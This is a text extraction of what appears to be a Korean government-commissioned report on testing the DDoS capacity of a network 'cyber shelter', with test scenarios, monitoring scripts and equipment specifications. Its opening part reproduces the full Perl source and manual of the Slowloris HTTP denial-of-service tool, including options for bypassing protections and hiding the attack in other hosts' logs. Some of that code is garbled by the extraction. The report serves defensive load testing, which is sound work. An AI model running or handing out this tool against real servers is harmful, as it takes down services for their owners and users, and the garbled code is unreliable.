131 OOOOOOCoc::::coCOOOO888O88OC 88OOOOOCc.:ccooCCOOOO88888OO OOo:cocooCCCCOOOOOO88O :ooooooooooccoocoocococoooooooo CCCCOO888888O888888Oo..o8Oo..cO88Oo: :..:..ccocccoocooccooccccooooocccc :co8oc..... :..:cccoooooccoooocccccooooccc ccc...:::..:coccccccco88oooo8oooccoocccooccc::::ccc::::::...:ccocccc:co...::...:occooooocooccocccoccococc:::::coc::::......:::cccc:cooo coocoooccoco:::ccccccc:::ccc::......:::cc::::coc :cccocooc:.. ::cccc:::c: ::::c:cccco :...:cooc::cccccc: :::::ccoocc......::cccc:.::ccoocc: :::.:::::::ccco [31m Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client [m

132 EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [ -options\n"; print "\n\ttype 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) {

133 } $port = 80; print "Defaulting to port 80.\n"; unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; }

134 my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0;

135 my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?". int( rand( ) );

136 } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n". "Host: $sendhost\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR ;.NET CLR l3;.NET CLR ;.NET CLR ; MSOffice 12)\r\n". "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\ndying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\ndying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tworked.\n";

137 } $delay = $times[$i]; } else { if ( $SIG{ WARN } ) { $delay = $times[ $i - 1 ]; last; } print "\tfailed after $times[$i] seconds.\n"; } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU

138 } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; } if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } sub doconnections { my ( $num, $usemultithreading ) @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1.. $num ); #initializing $first[$_] = 0 foreach ( 1.. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tbuilding sockets.\n"; foreach my $z ( 1.. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port",

139 Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { #SYN,

140 $rand = "?". int( rand( ) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n". "Host: $sendhost\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR ;.NET CLR l3;.NET CLR ;.NET CLR ; MSOffice 12)\r\n". "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{ WARN } ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } }

141 else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tsending data.\n"; foreach my $z ( 1.. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } }

142 print "Current stats:\tslowloris has now sent $packetcount packets successfully.\nthis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } END =head1 TITLE Slowloris =head1 VERSION

143 Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows apperls to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more

144 data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example:./slowloris.pl -dns -port 80 -test This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with array (although I wouldn't suggest that unless you know what you're doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will

145 make to be successful. Slowloris has no way to identify if it's successful or not though. =head3 HTTP DoS Example:./slowloris.pl -dns -port 80 -timeout num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example./slowloris.pl -dns -port 80 -timeout num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example:./slowloris.pl -dns -port 80 -timeout 30 -num 500 -tcpto 1 -shost =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly

146 tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example:./slowloris.pl -dns -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example:./slowloris.pl -dns -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-ddos and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture

147 For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out: 2. 측정상태모니터링을위한쉘코드 한계용량측정시결과및증거수집을위한트레이스파일 (PCAP) 저장과연결상태정보, 대응시간육안식별및컴퓨터사용점유율파악을위해해당정보의모니터링을위해쉘코드를사전작성하여보다신속하고체계적인 DDoS 한계용량을측정한다. 가. 트레이스파일저장을위한쉘코드 DDoS 한계용량측정전증거저장및결과분석을위한 PCAP 파일생

148 성을위해 tcpdump 의명령어를사용한쉘코드를아래표와같이작성 하였다. #!/bin/bash [ 표 7-13] PCAP 파일저장을위한쉘코드 DIR="01_TCP_DUMP" ATTACKTYPE="GETFLOODING" IFCE="eth0" SNIFFET_SIZE="1514" FILE=$(date +"%y%m%d%h%m%s-$attacktype") PCAP_SIZE="200" FILTER="tcp and port 80" sudo mkdir../02_evidence/$dir sudo tcpdump -nni $IFCE -s $SNIFFET_SIZE -w../02_evidence/$dir/$file -C $PCAP_SIZE $FILTER 나. 연결성정보저장을위한쉘코드 리눅스 netstat 명령어를사용하여 ToA 와공격 PC 에서 TCP Stack 에 쌓인연결정보를파악한다. #!bin/bash [ 표 7-14] netstat 를이용한연결정보저장을위한쉘코드

149 sudo mkdir../02_evidence/03_connt_dump printf "TIMESTAMP\t\tconnection\n" >>../02_EVIDENCE/03_CONNT_DUMP/$DATE.dat printf "TIMESTAMP\t\tconnection\n" while true do CNT=$(netstat -ant grep 80 grep -v LISTEN wc -l) DATE=$(date "+20%y-%m-%d") TIME=$(date "+%H:%M:%S") printf "%s-%s\t\t%s\n" $DATE $TIME $CNT >>../02_EVIDENCE/03_CONNT_DUMP/$DATE.dat printf "%s-%s\t\t%s\n" $DATE $TIME $CNT sleep 5 done 다. ToA 반응시간확인을위한쉘코드 공격중정상 PC 에서 ToA 에접속가능여부와반응시간을파악하기 위해사전에아래와같은쉘코드를작성하고 ToA 의반응시간을체크한 다. #!bin/bash [ 표 7-15] wget 을이용한반응시간확인을위한쉘코드 while true do

150 sudo wget O /dev/null sleep 1 done 라. 시스템사용점유파악을위한쉘코드 시스템사용점유율은 sar 를사용하여 ToA 와공격 PC 의시스템사용 점유율 ( CPU, 메모리사용율등 ) 을체크한다. [ 표 7-16] sar 를이용한시스템사용점유율파악을위한쉘코드 #!bin/bash DATE=`date "+%y%m%d%h%m"`; DIR="02_SAR_DUMP" sudo mkdir../02_evidence/$dir sudo sar -o../02_evidence/$dir/sar_$date -u 1 제 6 절한계용량측정시나리오 시나리오는시스템별시간기반으로역할정의후진행되어진다. 세 부측정시나리오는아래그림과같다

151 ( 그림 7-6) DDoS 한계용량측정시나리오

152 제 7 절 DDoS 한계용량측정시험결과 1. 한계용량측정시험결과분석 측정된결과는 PCAP 파일로저장하였고해당 PCAP 파일은다시 argus 툴을이용하여연결정보를추출하였으며측정시참고할필드를정리하 기위해다시텍스트파일로변형후분석을진행하였다. [ 표 7-17] 트레이스분석명령어 항목 BPS & PPS FPS 명령어 1. 연결정보생성 ra -nzr \: arg -s startime, daddr, pkts, bytes, status - tcp and port 80 and host ooo.ooo.ooo. awk 2. 주요연결정보추출 cat 02_pps_bps sort -n awk -v OFS="," '$1==prv{sp+=$3;dp+=$4;sb+=$5;db+=$6; next}{print prv, sp, dp, sb, db; sp=$3; dp=$4;sb=$5;db=$6;prv=$1}' ra -nzr \: arg -s startime, status - tcp and port 80 and host ooo.ooo.ooo.ooo and est awk 'split($2, ts, "."){print ts[1]}' sort -n uniq -c 2. 한계용량측정시험결과 가. 측정영역

153 [ 표 7-18] 측정세부영역 공격명 Syn Flooding Get Flooding CC - Attack Slowrolis Attack 세부내용 - TCP 비연결성공격 - TCP Backlog Table 공격 - Rate limit 공격 - First Syn Drop 방식공격 - Spoofed/Not Spoofed 공격 - TCP 연결성공격 - TCP Real Stack 공격 DDoS 공격 HTTP 헤더사용 - Text 시그니처없음 - 행위기반시그니처차단 - TCP 연결성공격 - TCP Real Stack 공격 DDoS 공격 HTTP 헤더사용 - Text 시그니처존재 - Text 시그니처차단 - 행위기반시그니처차단 - 아파치서버에대한공격 - 어플리케이션수준의 Syn 공격 - IIS 기반의웹서버에는효과가없음 - 행위기반차단 나. 한계용량측정을위한시험결과 8장에서진행할 DDoS 사이버대피소한계용량측정을위해네트워크트레이스파일 (PCAP파일) 의저장부터세션연결정보를분석하는과정까지 Syn_Flooding, Get_Flooding, CC-Attack, Sloworis 공격에대한세션정보를도출하고분석하였다. 1) Syn_Flooding

154 ( 그림 7-7) Syn Flooding 공격테스트 BPS, PPS Syn Flooding 공격은비연결성공격으로 BPS와 PPS만을도출하였으며해당 Syn Flooding 공격은 C 언어로코딩된소스로실행하였다. 공격시 7초만에 ToA의부하로공격이멈추었으며해당시간동안 BPS와 PPS의추이는 ( 그림 7-7) 과같다. 전체패킷수는 114,363개의 TCP Syn 패킷이송신되었으며전체 6,175,602 바이트의 Outbound 트래픽이발생하였다. 2) Get Flooding ( 그림 7-8) Get Flooding 공격테스트 FPS

155 Get Flooding 의한계용량측정시험은 Scapy 를이용하여 Perl 로코딩한 소스를실행하여공격트래픽을약 1 분간생성하였으며생성된 PCAP 을 Argus 로 Flow 정보로변환하여시간별 FPS 값을도출하였다. 3) CC-Attack CC-Attack은공격의특성처럼 Get Request 공격인 Get Flooding 공격과비슷한현상이도출되었다. 도출된약 1분간의초당연결수는아래그래프에서확인해볼수있다. CC-Attack의측정결과역시 Tcpdump 툴을사용하여저장된 PCAP파일을 Argus 툴을이용하여 Flow데이터로변환후도출하였다. ( 그림 7-9) CC-Attack 공격테스트 FPS 4) Slowloris

156 낮은연결성공격인 Slowloris 공격측정결과도 Get Flooding 공격과 비슷한결과가도출되었으며해당공격은평균초당 40 개의세션연결이 유지되었다. ( 그림 7-10) Slowloris 공격테스트 FPS

157 제 8 장사이버대피소한계용량측정및 개선방안도출 제 1 절사이버대피소한계용량측정방안 DDoS 사이버대피소의한계용량측정은 DDoS 공격대응에대한한 계용량측정방법론을반영하여망절체방식으로한계용량측정한다. ( 그림 8-1) DDoS 사이버대피소한계용량측정구성안 DDoS 공격유형별한계용량측정시험은시나리오및측정항목을작성후진행되며작성항목은한계용량측정방법론개발에서도출결과를기반으로진행된다. DDoS 사이버대피소단계별시스템구간앞뒤에 Network Tap을설치하여실질적인 Network Packet 분석을통한장비의차단효과및목표서버의가용성을검증한다. [ 표 8-1] 검증방안 구분 한계용량 측정 검증방안 o Tap에서의 Network Packet 정보수집 - 한계용량측정툴및방법론적용을통한검증 - 한계용량측정을위한트래픽수집을통한통계분

158 DDoS 사이버대피 소검증 석및유형별공격검증 - 계측기트래픽, 정상 PC와좀비 PC와의적절비율확인 o Tap에서의 Network Packet 정보수집 - 공격후구축된 DDoS 대응체계구간이후의 Network Packet 분석 - DDoS 대응구간을우회한공격트래픽에대한분석 및검증 - DDoS 한계용량측정좀비 PC의차단율분석 o ToA에서의정상 PC의목표서버접근성 ( 목표서버의 가용성 ) 확인 - TCP Layer 및 Application Layer 에서의가용성분석 - 구축전측정결과에서도출된가용성지표검증및수정 제 2 절개요 1. 측정개요 o 목적 : DDoS 사이버대피소의공격유형별취약구간을도출 DDoS 공격발생시최적의대응체계를마련 o 대상 : DDoS 사이버대피소단계별대응시스템 o 측정일시 : 2010년 8월16일 ~ 18일 o 측정장소 : KT 영동 ICC 7층 DDoS 사이버대피소구축장소 o 한국인터넷진흥원웹보안지원팀 o 수행 : 시큐베이스 o 공격장비운용 : 씨큐비스타, o 단계별대응장비운용 : CDNetworks o 단계별대응시스템

159 [ 표 8-2] 단계별대응시스템 단계모델역할 1차필터링 - 대역폭소진공격방어 SECUI NXG 10000D *2 - 정책기반접근제어 Anti-DDoS (Access Control) 실행 - 사이트별한계용량에따른대역폭분배를통해상호트래픽 2차필터링 Service Gateway-Sigma 간섭제한 QoS - 접속 IP를사용대역폭설정을통한오 / 남용제한 - 어플리케이션수준의사용자행위분석을통한공격자식별 3차필터링 - 웹방화벽기능을통해 2차공 Big-IP 8900 L7 Switch 격방어 - 웹가속기설치를통한대응용량증설 o 단계별대응시스템세부스펙 - 1차필터링 Anti-DDoS CPU :2.6Ghz(4core)*2- NPU : 8Core Process Memory : 16GB(Fast 4GB + Slow 12GB) NIC : 10G Fiber*4, Forensic 1GC*1, 관리 1GC*1, Log 1GC*1, HA 1GC*3 HDD :2TB(1TB*2) Power : Dual Power 600W - 2차필터링 QoS 10 Gigabit Ethernet SR Type * 8Ports 10/100/1000 Base-T Type Management Port Up to 45Gbps Throughput Dual DC Power Supply - 3 차필터링 L7 스위치

160 8Port GE, 16Port 10/100/1000Base TX(RJ-45) Base 16G Memory 1600만세션처리 RamCache, Compression(50M), SSL 500TPS Rate Shaping IPv6 Throughput :12Gbps Application Security Manager L Redundant AC Power 1G SFP Fiber Connector ROHS * 4 XFP Fiber Connector (10G) ROHS *2 2. 사이버대피소방어개념도 ( 그림 8-2) DDoS 사이버대피소방어개념도

161 3. 측정범위 총 4 개 40G 망중 1 개 10G 회선망을측정하고, 측정결과를구성도가 같은 3 개회선망에적용함 ( 그림 8-3) 사이버대피소한계용량측정범위 4. 측정프로세스및기관별역할 기관별역할과사이버대피소한계용량측정프로세스를정의하여측정 시발생할수있는문제점을최소화할수있다

162 ( 그림 8-4) DDoS 사이버대피소측정프로세스 [ 표 8-3] 기관별역할및산출물 구분역할산출물 수행기관 ( 시큐베이스 ) -한계용량측정계획마련 -한계용량측정망구축 -한계용량측정진행 -한계용량측정증거수집 -측정결과보고서작성 -한계용량측정계획서 ( 시나리오포함 ) -한계용량측정결과보고서 주관기관 (KISA) -DDoS 사이버대피소한계용량측정수행총괄 - 운영기관 (CDNetwork s) -DDoS 사이버대피소시스템운영 -TAP 모듈을사용하여대응시스템구간별패킷수집 - 시나리오별시스템상태측정결과값 - 사나리오별패킷덤프 PCAP 파일

163 제 3 절사이버대피소한계용량측정망구성 1. 한계용량측정 N/W 구성도 인터넷인입구간의망절체를통해사설 네트워크망을아래 그림과같이구성한다. ( 그림 8-5) DDoS 사이버대피소한계용량측정 N/W 망

164 2. 시스템별역할 가. NetSpear o 모델명 : NetSpearPro 2.0 5G (4G + 1G) o 수량 : 2식 (4G, 1G) o 역할 - 50,000 Bot Army 시뮬레이션 DDoS 재현 - DDoS 공격의종류, 강도지정 나. BreakingPointElite 10G o 모델명 : BreakingPointElite 10G o 수량 : 1 식 o 역할 : 10 Gbps 정상 Flooding 트래픽생성 다. TAP o 모델명 : 10Gigabit Fiber TAP FT-10G1 o 수량 : 3 식 o 역할 : 단계별패킷미러링 라. Probe o 모델명 : GigaStor GS108TSR2-14K o 수량 : 3 식

165 o 역할 : 측정패킷저장및분석 마. L3 Switch o 모델명 : Force 10 S25N 10G o 수량 : 3 식 o 역할 : 스위칭및라우팅 3. 측정망구성시고려사항 측정망구성시발생할수있는문제점을사전점검하여보다신속하 고체계적으로 DDoS 사이버대피소의한계용량을측정한다. 가. 측정망구성시연결포트관련 o 고려사항 - 사이버대피소대부분의시스템은 10Gbe 포트로구성됨 - NetSpear( 공격장비 ) 는 UTP 케이블포트로병렬연결필요 o 해결방안 - 10Gbps 급 L3 스위치를사용하여 UTP케이블연결구성이가능함 - NetSpear를사이버대피소內여유분 10G 스위치에 6~7개의개별 1G포트로병렬연결함 나. ToA 설정관련 ( 웹서버설정 ) o 고려사항 - 10G 급트래픽및세션연결을위해 ToA 의높은가용성이요구됨 - 일관성있고정량적인한계용량수치의도출필요

166 o 해결방안 - LAMP환경을구성하고 HTML 페이지의수를최소화하여 ToA 가용성을최대화함 - LAMP환경구축시아파치서버를 Default 값으로설정하여일관성있는정량적인수치를도출함 제 4 절한계용량측정수행시나리오 ( 계획 ) 1. 측정 1 Set 공격유형별 Failure Point 도출을위한응용계층공격을진행한다. ( 그림 8-6) 측정 1 Set 구성도

167 측정 1Set의공격장비는 NetSpear로측정하며사이버대피소의모든시스템은 Default값으로설정한다. 예상되는사이버대피소의운용시나리오는응용계층공격에대한측정이므로 2단계방어체계인 Anti-DDoS 장비에서해당공격을허용하고 L7스위치에서해당공격을대응한다. 행위기반의분석과연결형 DDoS 공격에대한차단및접속요청에대한허위요청식별및판별 IP를 3단계 L7스위치에서제공되어야한다. 대응장비의초기상태유지를위해개별공격간에 10분이상의안정화시간이필요하다. 회수공격명 Traffic Load 1 차 TCP Session Flooding [ 표 8-4] 측정 1 Set 시나리오 - Source IP 2000 ~ 10000에서 Connection Request - 10분동안지속 2 차 3 차 Valid HTTP Get Flood (MAX Connection Attack) Invalid HTTP Get Flood (CC Attack) - SRC IP 2000~ 10000에서 Connection Request - 10분동안지속 - Cache 조작 HTTP 패킷 (no-cache 등 ) 생성 - SRC IP 2000 ~ 10000에서 Session 연결 - 10분동안지속 2. 측정 2 Set 측정 2 Set은공격유형별 Failure Point 도출을위한대역폭소진공격이진행된다. 공격장비는 10G의트래픽을발생시킬수있는 Breaking point를사용한다. 측정 1 Set과마찬가지로모든사이버대피소의시스템을 Default값을설정하고측정한다. 측정시대역폭소진공격이므로대역폭을 9Gbps -> 9.Gbps -> 10Gbps 순으로측정하여장비의실제대역폭한계용량을측정한다. 대응시나리오는 ACL( 정책기반 ) 으로 Anti-DDoS 장비에서모든공격을차단 / 대응예상되어진다. 대응장비의초기상태유지

168 를위해공격과공격간에 10 분이상의안정화가필요하다. ( 그림 8-7) 측정 2 Set 구성도 차수공격명 Traffic Load 1 차 2 차 TCP SYN Flood TCP SYN Flood (Invalid TCP Header Packet) 3 차 ICMP Req Flood 4 차 ICMP Fragmentation Flood (IP Fragment Packet Flooding [ 표 8-5] 측정 2 Set 시나리오 - 54 bytes 9Gbps -> 9.5 Gbps -> 10 Gbps - SYN Packet Generation - Source IP 10000개 - 10분동안지속 bytes 9Gbps -> 9.5 Gbps -> 10 Gbps - SYN Packet - Source IP 10000개 - 10분동안지속 bytes 9Gbps -> 9.5 Gbps -> 10 Gbps - ICMP Req Packet Generation - Source IP10000개 - 10분동안지속 - 1,500 bytes 9Gbps -> 9.5 Gbps -> 10 Gbps - ICMP Packet Generation - Source IP 100 ~ 1000개 - 10분동안지속

169 5 차 UDP Flood bytes 9Gbps -> 9.5 Gbps -> 10 Gbps - UDP Packet Generation - Source IP1000개 - 10분동안지속 3. 측정 3 Set 측정 3 Set 은 3 단계대응시스템인 L7 스위치의한계용량을측정한다. ( 그림 8-8) 측정 3 Set 구성도 공격장비는 1차 UDP Flood의경우 BreakingPoint를사용하고 2차 Get Flood는 NetSpear, 3차혼합공격은 Breaking Point와 NetSpear를동시에사용한다. 측정 3Set 대응장비설정은 L7스위치의한계용량을측정하는것이기때문에 1단계대응장비인 Anti-DDoS 장비와 2단계대응장비인 QoS를 Off한다. 1차대역폭소진공격의경우 9Gbps에서 10Gbps까지서서히증가시키며측정하며 2차응용계층의공격인경우 PPS를서서히높여최대컨넥션수를측정한다. 3차혼합공격은대역폭소진공격

170 대응시연결성공격에대한대응능력을측정한다. 측정 3 Set 역시대응 장비의초기상태유지를위해공격간 10 분이상의안정화시간은필요하 다. [ 표 8-6] 측정 3 Set 시나리오회수공격명 Traffic Load bytes 9Gbps -> 9.5 Gbps -> 10 Gbps - UDP Packet Generation 1차 UDP Flood - Source IP1000개 - 10분동안지속 Valid HTTP Get Flood - SRC IP 2000~ 10000에서 Connection Request 2차 (MAX Connection Attack) - 10분동안지속 UDP Flood - UDP Flood 2G + - SRC IP 2000~ 10000에서 Connection Request 3차 Valid HTTP Get Flood - 5만PPS 이상가동 - 10분동안지속 (MAX Connection Attack) 4. 측정 4 Set 측정 4Set은대용량의응용계층공격과대역폭소진공격을동시에진행하여단계별대응여부를측정한다. 혼합공격이므로공격장비는 BreakingPoint와 NetSpear를동시에사용하며대응시스템의모든값을 Default 값으로설정한다. [ 표 8-7] 측정 4 Set 시나리오 구분대역 공격명 ICMP Req Flood Traffic Load bytes 2Gbps - ICMP Req Packet Generation - Source IP 10,000개

171 폭소진공격응용계층공격 ICMP Fragmentation Flood (IP Fragment Packet Flooding) UDP Flood Valid HTTP Get Flood (Session Attack) Valid HTTP Get Flood (MAX Connection Attack) Invalid HTTP Get Flood (CC Attack) slowloris - 10분안지속 - 1,500 bytes 2Gbps - ICMP Packet Generation - Source IP 1000 ~ 10,000개 - 10분동안지속 bytes 4Gbps - UDP Packet Generation - Source IP 10,000개 - 10분동안지속 - Source IP 2,000 ~ 10,000에서 Connection Request - 10분동안지속 - SRC IP 10,000에서 Connection Request - 10분동안지속 - Cache 조작 HTTP 패킷 (no-cache 등 ) 생성 - SRC IP 10,000에서 Session 연결 - 10분동안지속 - 30,000 대의봇넷으로낮은연결성공격 ( 그림 8-9) 측정 4 Set 구성도

172 5. 측정 5 Set 측정 5 Set 은 QoS IP Reputation 정책설정을가능여부판단을위한 ToA 의가용성측정한다. ( 그림 8-10) 측정 5 Set 구성도 공격장비는 NetSpear를사용하여연결성공격을유발시키며, 측정 5 Set의대응장비설정은 1단계필터링인 Anti-DDoS차단장비와 3단계필터링 L7스위치장비를 OFF한다. 먼저 1차 ToA의최대대응가능 PPS를측정하고 QoS IP평판정책을적용후공격트래픽과정상트래픽을동시생성하여우선순위 IP평판을가진정상PC의접속가능여부를확인한다

173 차수공격명 Traffic Load 1 차 Valid HTTP Get Flood [ 표 8-8] 측정 5 Set 수행경과 - Source IP 20 -> 10,000에서 Connection Request ( 연결수를서서히증가시켜 ToA의한계 Connection 수를측정 ) -10분동안지속 2 차 Valid HTTP Get Flood (Session Attack) + 정상 Connection 접속 - SRC IP 2000~ 10000에서 Connection Request - 10분동안지속 QoS 에서 IP Reputation 기반 Connection Rate Shaping 후진행 제 5 절한계용량측정수행경과 DDoS 사이버대피소한계용량측정수행경과는수행시나리오 ( 계획 ) 순 서로진행되지않았으며시스템환경과최상단 L3 스위치의라우팅설정 등의이유로아래와같은순서로진행되었다. 1. 측정 1 Set 측정 1 Set은 ToA최대가용성측정후 QoS의 IP평판정책사용가능여부를측정하였다. 전체트래픽중우선순위 IP평판을보유한 IP군에 Inbound 10Mbps, Outbound 10Mbps를 QoS 정책을이용하여최소보장하고측정하였다. [ 표 8-9] 측정 1 Set 수행경과 No. Time PPS 정상PC접속가능여부 비고 1 차 17 일 X

